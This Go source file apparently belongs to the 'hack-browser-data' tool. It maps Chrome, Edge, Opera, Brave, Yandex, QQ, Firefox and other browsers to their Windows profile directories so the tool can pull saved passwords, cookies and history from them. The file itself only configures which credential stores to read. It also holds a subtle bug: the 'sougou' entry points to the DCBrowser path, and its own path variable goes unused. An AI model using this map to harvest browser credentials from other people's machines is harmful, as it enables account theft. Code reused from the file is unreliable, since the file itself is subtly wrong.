You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
118 lines
3.4 KiB
118 lines
3.4 KiB
//go:build windows
|
|
|
|
package provider
|
|
|
|
import (
|
|
"hack-browser-data/internal/item"
|
|
)
|
|
|
|
var (
|
|
chromiumList = map[string]struct {
|
|
name string
|
|
profilePath string
|
|
storage string
|
|
items []item.Item
|
|
}{
|
|
"chrome": {
|
|
name: chromeName,
|
|
profilePath: chromeUserDataPath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"edge": {
|
|
name: edgeName,
|
|
profilePath: edgeProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"chromium": {
|
|
name: chromiumName,
|
|
profilePath: chromiumUserDataPath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"chrome-beta": {
|
|
name: chromeBetaName,
|
|
profilePath: chromeBetaUserDataPath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"opera": {
|
|
name: operaName,
|
|
profilePath: operaProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"opera-gx": {
|
|
name: operaGXName,
|
|
profilePath: operaGXProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"vivaldi": {
|
|
name: vivaldiName,
|
|
profilePath: vivaldiProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"coccoc": {
|
|
name: coccocName,
|
|
profilePath: coccocProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"brave": {
|
|
name: braveName,
|
|
profilePath: braveProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"yandex": {
|
|
name: yandexName,
|
|
profilePath: yandexProfilePath,
|
|
items: item.DefaultYandex,
|
|
},
|
|
"360": {
|
|
name: speed360Name,
|
|
profilePath: speed360ProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"qq": {
|
|
name: qqBrowserName,
|
|
profilePath: qqBrowserProfilePath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"dcbrowser": {
|
|
name: dcbrowserName,
|
|
profilePath: dcbrowserUserDataPath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
"sougou": {
|
|
name: sougouName,
|
|
profilePath: dcbrowserUserDataPath,
|
|
items: item.DefaultChromium,
|
|
},
|
|
}
|
|
firefoxList = map[string]struct {
|
|
name string
|
|
storage string
|
|
profilePath string
|
|
items []item.Item
|
|
}{
|
|
"firefox": {
|
|
name: firefoxName,
|
|
profilePath: firefoxProfilePath,
|
|
items: item.DefaultFirefox,
|
|
},
|
|
}
|
|
)
|
|
|
|
var (
|
|
chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
|
|
chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
|
|
chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
|
|
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
|
|
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
|
|
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
|
|
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
|
|
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
|
|
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
|
|
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
|
|
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
|
|
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
|
|
dcbrowserUserDataPath = homeDir + "/AppData/Local/DCBrowser/User Data/Default/"
|
|
sougouUserDataPath = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/"
|
|
|
|
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
|
|
)
|
|
|